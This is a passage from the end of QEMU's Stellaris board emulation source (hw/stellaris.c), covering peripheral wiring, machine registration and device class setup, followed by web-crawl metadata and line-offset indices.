1311 bus = qdev_get_child_bus(dev, "ssi");
1312 mux = ssi_create_slave(bus, "evb6965-ssi");
1313 gpio_out[GPIO_D][0] = qdev_get_gpio_in(mux, 0);
1314
1315 bus = qdev_get_child_bus(mux, "ssi0");
1316 ssi_create_slave(bus, "ssi-sd");
1317
1318 bus = qdev_get_child_bus(mux, "ssi1");
1319 dev = ssi_create_slave(bus, "ssd0323");
1320 gpio_out[GPIO_C][7] = qdev_get_gpio_in(dev, 0);
1321
1322 /* Make sure the select pin is high. */
1323 qemu_irq_raise(gpio_out[GPIO_D][0]);
1324 }
1325 }
1326 if (board->dc4 & (1 << 28)) {
1327 DeviceState *enet;
1328
1329 qemu_check_nic_model(&nd_table[0], "stellaris");
1330
1331 enet = qdev_create(NULL, "stellaris_enet");
1332 qdev_set_nic_properties(enet, &nd_table[0]);
1333 qdev_init_nofail(enet);
1334 sysbus_mmio_map(sysbus_from_qdev(enet), 0, 0x40048000);
1335 sysbus_connect_irq(sysbus_from_qdev(enet), 0, pic[42]);
1336 }
1337 if (board->peripherals & BP_GAMEPAD) {
1338 qemu_irq gpad_irq[5];
1339 static const int gpad_keycode[5] = { 0xc8, 0xd0, 0xcb, 0xcd, 0x1d };
1340
1341 gpad_irq[0] = qemu_irq_invert(gpio_in[GPIO_E][0]); /* up */
1342 gpad_irq[1] = qemu_irq_invert(gpio_in[GPIO_E][1]); /* down */
1343 gpad_irq[2] = qemu_irq_invert(gpio_in[GPIO_E][2]); /* left */
1344 gpad_irq[3] = qemu_irq_invert(gpio_in[GPIO_E][3]); /* right */
1345 gpad_irq[4] = qemu_irq_invert(gpio_in[GPIO_F][1]); /* select */
1346
1347 stellaris_gamepad_init(5, gpad_irq, gpad_keycode);
1348 }
1349 for (i = 0; i < 7; i++) {
1350 if (board->dc4 & (1 << i)) {
1351 for (j = 0; j < 8; j++) {
1352 if (gpio_out[i][j]) {
1353 qdev_connect_gpio_out(gpio_dev[i], j, gpio_out[i][j]);
1354 }
1355 }
1356 }
1357 }
1358 }
1359
1360 /* FIXME: Figure out how to generate these from stellaris_boards. */
1361 static void lm3s811evb_init(ram_addr_t ram_size,
1362 const char *boot_device,
1363 const char *kernel_filename, const char *kernel_cmdline,
1364 const char *initrd_filename, const char *cpu_model)
1365 {
1366 stellaris_init(kernel_filename, cpu_model, &stellaris_boards[0]);
1367 }
1368
1369 static void lm3s6965evb_init(ram_addr_t ram_size,
1370 const char *boot_device,
1371 const char *kernel_filename, const char *kernel_cmdline,
1372 const char *initrd_filename, const char *cpu_model)
1373 {
1374 stellaris_init(kernel_filename, cpu_model, &stellaris_boards[1]);
1375 }
1376
1377 static QEMUMachine lm3s811evb_machine = {
1378 .name = "lm3s811evb",
1379 .desc = "Stellaris LM3S811EVB",
1380 .init = lm3s811evb_init,
1381 };
1382
1383 static QEMUMachine lm3s6965evb_machine = {
1384 .name = "lm3s6965evb",
1385 .desc = "Stellaris LM3S6965EVB",
1386 .init = lm3s6965evb_init,
1387 };
1388
1389 static void stellaris_machine_init(void)
1390 {
1391 qemu_register_machine(&lm3s811evb_machine);
1392 qemu_register_machine(&lm3s6965evb_machine);
1393 }
1394
1395 machine_init(stellaris_machine_init);
1396
1397 static void stellaris_ssi_bus_class_init(ObjectClass *klass, void *data)
1398 {
1399 SSISlaveClass *k = SSI_SLAVE_CLASS(klass);
1400
1401 k->init = stellaris_ssi_bus_init;
1402 k->transfer = stellaris_ssi_bus_transfer;
1403 }
1404
1405 static DeviceInfo stellaris_ssi_bus_info = {
1406 .name = "evb6965-ssi",
1407 .size = sizeof(stellaris_ssi_bus_state),
1408 .class_init = stellaris_ssi_bus_class_init,
1409 };
1410
1411 static void stellaris_i2c_class_init(ObjectClass *klass, void *data)
1412 {
1413 SysBusDeviceClass *sdc = SYS_BUS_DEVICE_CLASS(klass);
1414
1415 sdc->init = stellaris_i2c_init;
1416 }
1417
1418 static DeviceInfo stellaris_i2c_info = {
1419 .name = "stellaris-i2c",
1420 .size = sizeof(stellaris_i2c_state),
1421 .class_init = stellaris_i2c_class_init,
1422 };
1423
1424 static void stellaris_gptm_class_init(ObjectClass *klass, void *data)
1425 {
1426 SysBusDeviceClass *sdc = SYS_BUS_DEVICE_CLASS(klass);
1427
1428 sdc->init = stellaris_gptm_init;
1429 }
1430
1431 static DeviceInfo stellaris_gptm_info = {
1432 .name = "stellaris-gptm",
1433 .size = sizeof(gptm_state),
1434 .class_init = stellaris_gptm_class_init,
1435 };
1436
1437 static void stellaris_adc_class_init(ObjectClass *klass, void *data)
1438 {
1439 SysBusDeviceClass *sdc = SYS_BUS_DEVICE_CLASS(klass);
1440
1441 sdc->init = stellaris_adc_init;
1442 }
1443
1444 static DeviceInfo stellaris_adc_info = {
1445 .name = "stellaris-adc",
1446 .size = sizeof(stellaris_adc_state),
1447 .class_init = stellaris_adc_class_init,
1448 };
1449
1450 static void stellaris_register_devices(void)
1451 {
1452 sysbus_qdev_register(&stellaris_i2c_info);
1453 sysbus_qdev_register(&stellaris_gptm_info);
1454 sysbus_qdev_register(&stellaris_adc_info);
1455 ssi_register_slave(&stellaris_ssi_bus_info);
1456 }
1457
1458 device_init(stellaris_register_devices)
|
{
"url": "https://git.qemu.org/?p=qemu.git;a=blob;f=hw/stellaris.c;h=b91139e17947807b02adccd21a83978e2c54f866;hb=d0fd11ffd3e2cb65234da354f14d745e5fbfce67",
"source_domain": "git.qemu.org",
"snapshot_id": "crawl=CC-MAIN-2019-51",
"warc_metadata": {
"Content-Length": "470630",
"Content-Type": "application/http; msgtype=response",
"WARC-Block-Digest": "sha1:DWEF2FIPO7WG5EBDFKOMOQNGS7HPQTGO",
"WARC-Concurrent-To": "<urn:uuid:fd710f90-da8b-4bb2-b79e-ac2a14e96f6c>",
"WARC-Date": "2019-12-07T13:39:23Z",
"WARC-IP-Address": "172.99.69.163",
"WARC-Identified-Payload-Type": "application/xhtml+xml",
"WARC-Payload-Digest": "sha1:UMJCOBPZFDGWMLBVKE7GRYXHSB2F2YSP",
"WARC-Record-ID": "<urn:uuid:19510c53-5e60-4536-97a9-67700ffd19eb>",
"WARC-Target-URI": "https://git.qemu.org/?p=qemu.git;a=blob;f=hw/stellaris.c;h=b91139e17947807b02adccd21a83978e2c54f866;hb=d0fd11ffd3e2cb65234da354f14d745e5fbfce67",
"WARC-Truncated": null,
"WARC-Type": "response",
"WARC-Warcinfo-ID": "<urn:uuid:31f638ca-2ffa-4e72-ba97-f19e270d1f51>"
},
"warc_info": "isPartOf: CC-MAIN-2019-51\r\npublisher: Common Crawl\r\ndescription: Wide crawl of the web for December 2019\r\noperator: Common Crawl Admin ([email protected])\r\nhostname: ip-10-67-67-113.ec2.internal\r\nsoftware: Apache Nutch 1.16 (modified, https://github.com/commoncrawl/nutch/)\r\nrobots: checked via crawler-commons 1.1-SNAPSHOT (https://github.com/crawler-commons/crawler-commons)\r\nformat: WARC File Format 1.1\r\nconformsTo: http://iipc.github.io/warc-specifications/specifications/warc-format/warc-1.1/"
}
|
{
"line_start_idx": [
0,
55,
85,
90,
131,
135,
172,
198,
202,
243,
248,
250,
273,
293,
318,
342,
369,
389,
409,
432,
460,
463,
483,
503,
523,
543,
563,
583,
603,
606,
634,
662,
689,
692,
718,
739,
757,
775,
792,
809,
826,
843,
860,
885,
912,
915,
954,
957,
988,
1012,
1035,
1055,
1076,
1097,
1116,
1134,
1155,
1177,
1202,
1233,
1250,
1270,
1303,
1327,
1397,
1418,
1435,
1452,
1455,
1501,
1506,
1520,
1558,
1590,
1595,
1598,
1645,
1650,
1682,
1687,
1690,
1750,
1755,
1772,
1786,
1825,
1833,
1855,
1858,
1883,
1910,
1929,
1973,
2021,
2053,
2084,
2116,
2151,
2187,
2199,
2258,
2263,
2286,
2325,
2331,
2335,
2375,
2381,
2425,
2444,
2455,
2459,
2471,
2494,
2520,
2539,
2570,
2596,
2628,
2634,
2660,
2680,
2702,
2715,
2735,
2761,
2767,
2800,
2815,
2835,
2849,
2896,
2920,
2936,
2959,
2978,
2984,
3010,
3046,
3083,
3096,
3156,
3162,
3186,
3192,
3196,
3267,
3286,
3292,
3334,
3338,
3360,
3385,
3407,
3433,
3456,
3482,
3505,
3530,
3553,
3578,
3598,
3623,
3644,
3669,
3700,
3724,
3738,
3765,
3833,
3860,
3883,
3913,
3983,
4013,
4037,
4063,
4090,
4116,
4143,
4170,
4203,
4230,
4263,
4288,
4313,
4332,
4357,
4399,
4412,
4471,
4485,
4491,
4497,
4501,
4569,
4604,
4610,
4652,
4673,
4677,
4749,
4816,
4835,
4857,
4882,
4905,
4916,
4942,
4966,
4977,
5003,
5027,
5038,
5063,
5088,
5112,
5145,
5177,
5198,
5224,
5237,
5258,
5264,
5270,
5326,
5351,
5377,
5390,
5411,
5417,
5423,
5434,
5459,
5487,
5511,
5522,
5546,
5570,
5581,
5608,
5641,
5666,
5696,
5702,
5713,
5740,
5773,
5784,
5814,
5848,
5873,
5904,
5910,
5921,
5951,
5982,
5993,
6019,
6047,
6058,
6084,
6112,
6123,
6150,
6184,
6195,
6222,
6256,
6267,
6280,
6340,
6346,
6370,
6376,
6380,
6426,
6449,
6474,
6514,
6521,
6525,
6588,
6618,
6639,
6668,
6701,
6734,
6774,
6821,
6862,
6901,
6939,
6962,
7009,
7057,
7108,
7165,
7202,
7248,
7295,
7321,
7327,
7334,
7338,
7392,
7398,
7448,
7452,
7487,
7539,
7543,
7594,
7615,
7653,
7657,
7694,
7767,
7840,
7906,
7920,
7926,
7930,
7934,
7963,
7967,
7988,
8012,
8034,
8056,
8081,
8104,
8123,
8141,
8160,
8182,
8204,
8226,
8248,
8270,
8290,
8310,
8328,
8361,
8379,
8383,
8426,
8432,
8494,
8500,
8504,
8549,
8573,
8602,
8626,
8655,
8685,
8714,
8738,
8766,
8795,
8819,
8846,
8870,
8898,
8927,
8951,
8978,
8985,
8989,
9029,
9053,
9082,
9106,
9135,
9165,
9194,
9218,
9246,
9275,
9299,
9326,
9350,
9378,
9407,
9431,
9458,
9465,
9469,
9506,
9540,
9574,
9578,
9617,
9661,
9700,
9704,
9757,
9763,
9799,
9835,
9856,
9889,
9910,
9948,
9979,
10005,
10040,
10046,
10090,
10103,
10167,
10173,
10179,
10183,
10254,
10273,
10279,
10321,
10325,
10347,
10374,
10401,
10428,
10455,
10481,
10507,
10533,
10559,
10585,
10611,
10637,
10663,
10689,
10715,
10745,
10768,
10798,
10821,
10849,
10863,
10891,
10905,
10933,
10947,
10973,
10999,
11025,
11049,
11076,
11116,
11143,
11163,
11189,
11208,
11237,
11243,
11257,
11289,
11324,
11350,
11380,
11411,
11446,
11459,
11522,
11536,
11542,
11548,
11575,
11595,
11623,
11646,
11674,
11697,
11725,
11748,
11776,
11799,
11827,
11850,
11878,
11901,
11929,
11952,
11980,
12003,
12031,
12054,
12084,
12107,
12137,
12160,
12188,
12209,
12237,
12258,
12271,
12330,
12344,
12350,
12356,
12360,
12405,
12411,
12445,
12451,
12455,
12462,
12506,
12513,
12572,
12578,
12606,
12667,
12680,
12739,
12745,
12751,
12755,
12823,
12858,
12864,
12906,
12910,
12932,
12962,
12995,
13006,
13036,
13067,
13078,
13106,
13134,
13162,
13221,
13232,
13258,
13290,
13301,
13328,
13357,
13368,
13395,
13423,
13434,
13460,
13525,
13547,
13578,
13584,
13604,
13640,
13651,
13678,
13733,
13744,
13750,
13754,
13820,
13842,
13873,
13879,
13900,
13936,
13947,
13975,
13999,
14010,
14038,
14062,
14073,
14101,
14125,
14136,
14164,
14188,
14199,
14227,
14251,
14262,
14290,
14314,
14325,
14353,
14377,
14388,
14416,
14440,
14451,
14479,
14503,
14514,
14544,
14568,
14579,
14609,
14633,
14644,
14657,
14717,
14723,
14743,
14749,
14753,
14799,
14822,
14847,
14887,
14894,
14898,
14939,
14945,
14987,
14991,
15016,
15041,
15045,
15100,
15117,
15130,
15156,
15162,
15182,
15202,
15222,
15258,
15264,
15268,
15337,
15343,
15371,
15375,
15411,
15415,
15429,
15435,
15439,
15501,
15530,
15551,
15580,
15613,
15655,
15688,
15729,
15770,
15812,
15856,
15894,
15931,
15974,
16021,
16068,
16115,
16156,
16197,
16223,
16229,
16236,
16240,
16303,
16337,
16359,
16365,
16384,
16388,
16441,
16459,
16481,
16560,
16628,
16696,
16700,
16772,
16843,
16862,
16921,
16935,
16941,
16945,
16949,
16975,
16979,
17000,
17025,
17043,
17061,
17085,
17103,
17121,
17139,
17158,
17177,
17196,
17214,
17241,
17245,
17285,
17326,
17368,
17410,
17452,
17492,
17534,
17538,
17618,
17637,
17643,
17703,
17707,
17729,
17754,
17773,
17798,
17866,
17910,
17935,
17954,
17980,
18000,
18026,
18046,
18072,
18092,
18118,
18148,
18173,
18192,
18205,
18273,
18287,
18293,
18299,
18303,
18364,
18370,
18385,
18389,
18427,
18460,
18466,
18470,
18547,
18582,
18588,
18648,
18652,
18674,
18699,
18726,
18737,
18762,
18794,
18826,
18837,
18843,
18898,
18965,
19028,
19068,
19081,
19122,
19162,
19168,
19174,
19233,
19263,
19314,
19353,
19364,
19370,
19410,
19431,
19458,
19489,
19511,
19526,
19564,
19577,
19592,
19622,
19628,
19658,
19676,
19682,
19703,
19730,
19760,
19801,
19807,
19818,
19843,
19870,
19881,
19907,
19935,
19946,
19972,
19989,
20000,
20026,
20049,
20060,
20085,
20104,
20118,
20174,
20196,
20210,
20268,
20295,
20306,
20319,
20374,
20392,
20398,
20427,
20433,
20437,
20497,
20503,
20546,
20576,
20580,
20596,
20612,
20628,
20645,
20662,
20679,
20695,
20724,
20730,
20734,
20789,
20821,
20855,
20895,
20902,
20906,
20968,
20997,
21018,
21047,
21080,
21113,
21159,
21205,
21251,
21298,
21345,
21392,
21438,
21464,
21470,
21477,
21481,
21535,
21541,
21609,
21627,
21631,
21666,
21709,
21727,
21731,
21791,
21811,
21849,
21911,
21939,
22004,
22018,
22024,
22028,
22102,
22173,
22177,
22219,
22255,
22295,
22332,
22368,
22404,
22440,
22444,
22488,
22531,
22535,
22554,
22560,
22585,
22609,
22629,
22647,
22664,
22683,
22703,
22723,
22743,
22761,
22774,
22794,
22817,
22832,
22855,
22878,
22898,
22919,
22946,
22950,
23025,
23031,
23045,
23049,
23084,
23139,
23163,
23176,
23247,
23297,
23350,
23400,
23406,
23440,
23446,
23450,
23522,
23542,
23548,
23562,
23566,
23641,
23673,
23715,
23769,
23793,
23805,
23811,
23846,
23875,
23926,
23991,
24033,
24082,
24088,
24092,
24153,
24159,
24174,
24185,
24189,
24219,
24265,
24301,
24307,
24313,
24317,
24389,
24395,
24455,
24466,
24470,
24500,
24538,
24552,
24558,
24562,
24608,
24622,
24628,
24632,
24709,
24748,
24786,
24858,
24926,
24950,
24979,
24985,
24991,
24995,
25055,
25061,
25072,
25076,
25106,
25127,
25148,
25197,
25203,
25209,
25213,
25293,
25312,
25318,
25378,
25382,
25414,
25457,
25468,
25499,
25529,
25557,
25582,
25610,
25635,
25664,
25707,
25737,
25767,
25781,
25793,
25800,
25807,
25830,
25858,
25880,
25906,
25926,
25951,
25970,
25996,
26024,
26052,
26074,
26101,
26122,
26150,
26172,
26200,
26222,
26248,
26268,
26282,
26337,
26356,
26371,
26378,
26385,
26390,
26468,
26504,
26511,
26572,
26577,
26610,
26654,
26666,
26697,
26727,
26755,
26794,
26807,
26835,
26858,
26917,
26930,
26937,
26963,
26976,
26990,
27002,
27009,
27016,
27039,
27067,
27096,
27108,
27133,
27153,
27165,
27191,
27214,
27226,
27254,
27279,
27291,
27318,
27340,
27352,
27380,
27405,
27417,
27445,
27468,
27480,
27507,
27564,
27576,
27602,
27623,
27635,
27649,
27719,
27726,
27756,
27763,
27768,
27824,
27857,
27892,
27933,
27941,
27946,
28009,
28039,
28061,
28091,
28125,
28159,
28208,
28255,
28301,
28349,
28398,
28447,
28496,
28543,
28600,
28666,
28718,
28770,
28827,
28893,
28945,
28997,
29054,
29120,
29172,
29224,
29281,
29347,
29399,
29451,
29500,
29527,
29534,
29542,
29547,
29601,
29608,
29677,
29689,
29694,
29725,
29764,
29771,
29776,
29837,
29858,
29897,
29926,
29988,
30054,
30069,
30076,
30081,
30155,
30223,
30295,
30364,
30441,
30504,
30509,
30531,
30553,
30572,
30594,
30615,
30647,
30652,
30728,
30735,
30804,
30809,
30838,
30845,
30850,
30927,
30934,
31014,
31019,
31074,
31081,
31086,
31153,
31187,
31209,
31239,
31273,
31307,
31365,
31392,
31399,
31407,
31412,
31466,
31473,
31553,
31558,
31611,
31664,
31729,
31734,
31804,
31819,
31826,
31831,
31854,
31910,
31931,
31939,
31956,
31983,
32000,
32017,
32034,
32051,
32068,
32076,
32098,
32115,
32132,
32159,
32176,
32193,
32210,
32227,
32257,
32264,
32272,
32277,
32361,
32395,
32402,
32453,
32507,
32549,
32604,
32646,
32707,
32712,
32772,
32792,
32823,
32852,
32882,
32901,
32921,
32942,
32961,
32984,
32996,
33008,
33013,
33065,
33106,
33148,
33205,
33210,
33245,
33307,
33355,
33392,
33406,
33423,
33430,
33461,
33501,
33551,
33581,
33606,
33671,
33715,
33756,
33763,
33770,
33775,
33851,
33856,
33887,
33921,
33993,
34017,
34048,
34103,
34131,
34138,
34145,
34152,
34157,
34192,
34262,
34316,
34361,
34406,
34413,
34420,
34425,
34456,
34490,
34559,
34583,
34590,
34597,
34631,
34693,
34738,
34761,
34777,
34782,
34825,
34874,
34927,
34932,
34976,
35014,
35019,
35063,
35108,
35161,
35166,
35211,
35253,
35260,
35267,
35302,
35326,
35331,
35385,
35390,
35439,
35489,
35518,
35579,
35640,
35647,
35691,
35718,
35792,
35797,
35862,
35929,
35996,
36064,
36133,
36138,
36194,
36201,
36232,
36266,
36297,
36324,
36384,
36391,
36398,
36405,
36412,
36419,
36424,
36498,
36552,
36582,
36644,
36701,
36708,
36779,
36786,
36791,
36846,
36876,
36938,
36995,
37002,
37073,
37080,
37085,
37132,
37159,
37196,
37226,
37234,
37239,
37287,
37315,
37353,
37384,
37392,
37397,
37443,
37450,
37499,
37549,
37556,
37561,
37604,
37609,
37687,
37694,
37742,
37747,
37786,
37833,
37840,
37845,
37895,
37923,
37969,
38018,
38026,
38031,
38105,
38112,
38171,
38176,
38213,
38220,
38225,
38271,
38301,
38343,
38388,
38396,
38401,
38476,
38483,
38542,
38547,
38585,
38592,
38597,
38644,
38675,
38708,
38754,
38762,
38767,
38841,
38848,
38907,
38912,
38949,
38956,
38961,
39007,
39037,
39079,
39124,
39132,
39137,
39187,
39194,
39242,
39291,
39339,
39389,
39396,
39401
],
"line_end_idx": [
55,
85,
90,
131,
135,
172,
198,
202,
243,
248,
250,
273,
293,
318,
342,
369,
389,
409,
432,
460,
463,
483,
503,
523,
543,
563,
583,
603,
606,
634,
662,
689,
692,
718,
739,
757,
775,
792,
809,
826,
843,
860,
885,
912,
915,
954,
957,
988,
1012,
1035,
1055,
1076,
1097,
1116,
1134,
1155,
1177,
1202,
1233,
1250,
1270,
1303,
1327,
1397,
1418,
1435,
1452,
1455,
1501,
1506,
1520,
1558,
1590,
1595,
1598,
1645,
1650,
1682,
1687,
1690,
1750,
1755,
1772,
1786,
1825,
1833,
1855,
1858,
1883,
1910,
1929,
1973,
2021,
2053,
2084,
2116,
2151,
2187,
2199,
2258,
2263,
2286,
2325,
2331,
2335,
2375,
2381,
2425,
2444,
2455,
2459,
2471,
2494,
2520,
2539,
2570,
2596,
2628,
2634,
2660,
2680,
2702,
2715,
2735,
2761,
2767,
2800,
2815,
2835,
2849,
2896,
2920,
2936,
2959,
2978,
2984,
3010,
3046,
3083,
3096,
3156,
3162,
3186,
3192,
3196,
3267,
3286,
3292,
3334,
3338,
3360,
3385,
3407,
3433,
3456,
3482,
3505,
3530,
3553,
3578,
3598,
3623,
3644,
3669,
3700,
3724,
3738,
3765,
3833,
3860,
3883,
3913,
3983,
4013,
4037,
4063,
4090,
4116,
4143,
4170,
4203,
4230,
4263,
4288,
4313,
4332,
4357,
4399,
4412,
4471,
4485,
4491,
4497,
4501,
4569,
4604,
4610,
4652,
4673,
4677,
4749,
4816,
4835,
4857,
4882,
4905,
4916,
4942,
4966,
4977,
5003,
5027,
5038,
5063,
5088,
5112,
5145,
5177,
5198,
5224,
5237,
5258,
5264,
5270,
5326,
5351,
5377,
5390,
5411,
5417,
5423,
5434,
5459,
5487,
5511,
5522,
5546,
5570,
5581,
5608,
5641,
5666,
5696,
5702,
5713,
5740,
5773,
5784,
5814,
5848,
5873,
5904,
5910,
5921,
5951,
5982,
5993,
6019,
6047,
6058,
6084,
6112,
6123,
6150,
6184,
6195,
6222,
6256,
6267,
6280,
6340,
6346,
6370,
6376,
6380,
6426,
6449,
6474,
6514,
6521,
6525,
6588,
6618,
6639,
6668,
6701,
6734,
6774,
6821,
6862,
6901,
6939,
6962,
7009,
7057,
7108,
7165,
7202,
7248,
7295,
7321,
7327,
7334,
7338,
7392,
7398,
7448,
7452,
7487,
7539,
7543,
7594,
7615,
7653,
7657,
7694,
7767,
7840,
7906,
7920,
7926,
7930,
7934,
7963,
7967,
7988,
8012,
8034,
8056,
8081,
8104,
8123,
8141,
8160,
8182,
8204,
8226,
8248,
8270,
8290,
8310,
8328,
8361,
8379,
8383,
8426,
8432,
8494,
8500,
8504,
8549,
8573,
8602,
8626,
8655,
8685,
8714,
8738,
8766,
8795,
8819,
8846,
8870,
8898,
8927,
8951,
8978,
8985,
8989,
9029,
9053,
9082,
9106,
9135,
9165,
9194,
9218,
9246,
9275,
9299,
9326,
9350,
9378,
9407,
9431,
9458,
9465,
9469,
9506,
9540,
9574,
9578,
9617,
9661,
9700,
9704,
9757,
9763,
9799,
9835,
9856,
9889,
9910,
9948,
9979,
10005,
10040,
10046,
10090,
10103,
10167,
10173,
10179,
10183,
10254,
10273,
10279,
10321,
10325,
10347,
10374,
10401,
10428,
10455,
10481,
10507,
10533,
10559,
10585,
10611,
10637,
10663,
10689,
10715,
10745,
10768,
10798,
10821,
10849,
10863,
10891,
10905,
10933,
10947,
10973,
10999,
11025,
11049,
11076,
11116,
11143,
11163,
11189,
11208,
11237,
11243,
11257,
11289,
11324,
11350,
11380,
11411,
11446,
11459,
11522,
11536,
11542,
11548,
11575,
11595,
11623,
11646,
11674,
11697,
11725,
11748,
11776,
11799,
11827,
11850,
11878,
11901,
11929,
11952,
11980,
12003,
12031,
12054,
12084,
12107,
12137,
12160,
12188,
12209,
12237,
12258,
12271,
12330,
12344,
12350,
12356,
12360,
12405,
12411,
12445,
12451,
12455,
12462,
12506,
12513,
12572,
12578,
12606,
12667,
12680,
12739,
12745,
12751,
12755,
12823,
12858,
12864,
12906,
12910,
12932,
12962,
12995,
13006,
13036,
13067,
13078,
13106,
13134,
13162,
13221,
13232,
13258,
13290,
13301,
13328,
13357,
13368,
13395,
13423,
13434,
13460,
13525,
13547,
13578,
13584,
13604,
13640,
13651,
13678,
13733,
13744,
13750,
13754,
13820,
13842,
13873,
13879,
13900,
13936,
13947,
13975,
13999,
14010,
14038,
14062,
14073,
14101,
14125,
14136,
14164,
14188,
14199,
14227,
14251,
14262,
14290,
14314,
14325,
14353,
14377,
14388,
14416,
14440,
14451,
14479,
14503,
14514,
14544,
14568,
14579,
14609,
14633,
14644,
14657,
14717,
14723,
14743,
14749,
14753,
14799,
14822,
14847,
14887,
14894,
14898,
14939,
14945,
14987,
14991,
15016,
15041,
15045,
15100,
15117,
15130,
15156,
15162,
15182,
15202,
15222,
15258,
15264,
15268,
15337,
15343,
15371,
15375,
15411,
15415,
15429,
15435,
15439,
15501,
15530,
15551,
15580,
15613,
15655,
15688,
15729,
15770,
15812,
15856,
15894,
15931,
15974,
16021,
16068,
16115,
16156,
16197,
16223,
16229,
16236,
16240,
16303,
16337,
16359,
16365,
16384,
16388,
16441,
16459,
16481,
16560,
16628,
16696,
16700,
16772,
16843,
16862,
16921,
16935,
16941,
16945,
16949,
16975,
16979,
17000,
17025,
17043,
17061,
17085,
17103,
17121,
17139,
17158,
17177,
17196,
17214,
17241,
17245,
17285,
17326,
17368,
17410,
17452,
17492,
17534,
17538,
17618,
17637,
17643,
17703,
17707,
17729,
17754,
17773,
17798,
17866,
17910,
17935,
17954,
17980,
18000,
18026,
18046,
18072,
18092,
18118,
18148,
18173,
18192,
18205,
18273,
18287,
18293,
18299,
18303,
18364,
18370,
18385,
18389,
18427,
18460,
18466,
18470,
18547,
18582,
18588,
18648,
18652,
18674,
18699,
18726,
18737,
18762,
18794,
18826,
18837,
18843,
18898,
18965,
19028,
19068,
19081,
19122,
19162,
19168,
19174,
19233,
19263,
19314,
19353,
19364,
19370,
19410,
19431,
19458,
19489,
19511,
19526,
19564,
19577,
19592,
19622,
19628,
19658,
19676,
19682,
19703,
19730,
19760,
19801,
19807,
19818,
19843,
19870,
19881,
19907,
19935,
19946,
19972,
19989,
20000,
20026,
20049,
20060,
20085,
20104,
20118,
20174,
20196,
20210,
20268,
20295,
20306,
20319,
20374,
20392,
20398,
20427,
20433,
20437,
20497,
20503,
20546,
20576,
20580,
20596,
20612,
20628,
20645,
20662,
20679,
20695,
20724,
20730,
20734,
20789,
20821,
20855,
20895,
20902,
20906,
20968,
20997,
21018,
21047,
21080,
21113,
21159,
21205,
21251,
21298,
21345,
21392,
21438,
21464,
21470,
21477,
21481,
21535,
21541,
21609,
21627,
21631,
21666,
21709,
21727,
21731,
21791,
21811,
21849,
21911,
21939,
22004,
22018,
22024,
22028,
22102,
22173,
22177,
22219,
22255,
22295,
22332,
22368,
22404,
22440,
22444,
22488,
22531,
22535,
22554,
22560,
22585,
22609,
22629,
22647,
22664,
22683,
22703,
22723,
22743,
22761,
22774,
22794,
22817,
22832,
22855,
22878,
22898,
22919,
22946,
22950,
23025,
23031,
23045,
23049,
23084,
23139,
23163,
23176,
23247,
23297,
23350,
23400,
23406,
23440,
23446,
23450,
23522,
23542,
23548,
23562,
23566,
23641,
23673,
23715,
23769,
23793,
23805,
23811,
23846,
23875,
23926,
23991,
24033,
24082,
24088,
24092,
24153,
24159,
24174,
24185,
24189,
24219,
24265,
24301,
24307,
24313,
24317,
24389,
24395,
24455,
24466,
24470,
24500,
24538,
24552,
24558,
24562,
24608,
24622,
24628,
24632,
24709,
24748,
24786,
24858,
24926,
24950,
24979,
24985,
24991,
24995,
25055,
25061,
25072,
25076,
25106,
25127,
25148,
25197,
25203,
25209,
25213,
25293,
25312,
25318,
25378,
25382,
25414,
25457,
25468,
25499,
25529,
25557,
25582,
25610,
25635,
25664,
25707,
25737,
25767,
25781,
25793,
25800,
25807,
25830,
25858,
25880,
25906,
25926,
25951,
25970,
25996,
26024,
26052,
26074,
26101,
26122,
26150,
26172,
26200,
26222,
26248,
26268,
26282,
26337,
26356,
26371,
26378,
26385,
26390,
26468,
26504,
26511,
26572,
26577,
26610,
26654,
26666,
26697,
26727,
26755,
26794,
26807,
26835,
26858,
26917,
26930,
26937,
26963,
26976,
26990,
27002,
27009,
27016,
27039,
27067,
27096,
27108,
27133,
27153,
27165,
27191,
27214,
27226,
27254,
27279,
27291,
27318,
27340,
27352,
27380,
27405,
27417,
27445,
27468,
27480,
27507,
27564,
27576,
27602,
27623,
27635,
27649,
27719,
27726,
27756,
27763,
27768,
27824,
27857,
27892,
27933,
27941,
27946,
28009,
28039,
28061,
28091,
28125,
28159,
28208,
28255,
28301,
28349,
28398,
28447,
28496,
28543,
28600,
28666,
28718,
28770,
28827,
28893,
28945,
28997,
29054,
29120,
29172,
29224,
29281,
29347,
29399,
29451,
29500,
29527,
29534,
29542,
29547,
29601,
29608,
29677,
29689,
29694,
29725,
29764,
29771,
29776,
29837,
29858,
29897,
29926,
29988,
30054,
30069,
30076,
30081,
30155,
30223,
30295,
30364,
30441,
30504,
30509,
30531,
30553,
30572,
30594,
30615,
30647,
30652,
30728,
30735,
30804,
30809,
30838,
30845,
30850,
30927,
30934,
31014,
31019,
31074,
31081,
31086,
31153,
31187,
31209,
31239,
31273,
31307,
31365,
31392,
31399,
31407,
31412,
31466,
31473,
31553,
31558,
31611,
31664,
31729,
31734,
31804,
31819,
31826,
31831,
31854,
31910,
31931,
31939,
31956,
31983,
32000,
32017,
32034,
32051,
32068,
32076,
32098,
32115,
32132,
32159,
32176,
32193,
32210,
32227,
32257,
32264,
32272,
32277,
32361,
32395,
32402,
32453,
32507,
32549,
32604,
32646,
32707,
32712,
32772,
32792,
32823,
32852,
32882,
32901,
32921,
32942,
32961,
32984,
32996,
33008,
33013,
33065,
33106,
33148,
33205,
33210,
33245,
33307,
33355,
33392,
33406,
33423,
33430,
33461,
33501,
33551,
33581,
33606,
33671,
33715,
33756,
33763,
33770,
33775,
33851,
33856,
33887,
33921,
33993,
34017,
34048,
34103,
34131,
34138,
34145,
34152,
34157,
34192,
34262,
34316,
34361,
34406,
34413,
34420,
34425,
34456,
34490,
34559,
34583,
34590,
34597,
34631,
34693,
34738,
34761,
34777,
34782,
34825,
34874,
34927,
34932,
34976,
35014,
35019,
35063,
35108,
35161,
35166,
35211,
35253,
35260,
35267,
35302,
35326,
35331,
35385,
35390,
35439,
35489,
35518,
35579,
35640,
35647,
35691,
35718,
35792,
35797,
35862,
35929,
35996,
36064,
36133,
36138,
36194,
36201,
36232,
36266,
36297,
36324,
36384,
36391,
36398,
36405,
36412,
36419,
36424,
36498,
36552,
36582,
36644,
36701,
36708,
36779,
36786,
36791,
36846,
36876,
36938,
36995,
37002,
37073,
37080,
37085,
37132,
37159,
37196,
37226,
37234,
37239,
37287,
37315,
37353,
37384,
37392,
37397,
37443,
37450,
37499,
37549,
37556,
37561,
37604,
37609,
37687,
37694,
37742,
37747,
37786,
37833,
37840,
37845,
37895,
37923,
37969,
38018,
38026,
38031,
38105,
38112,
38171,
38176,
38213,
38220,
38225,
38271,
38301,
38343,
38388,
38396,
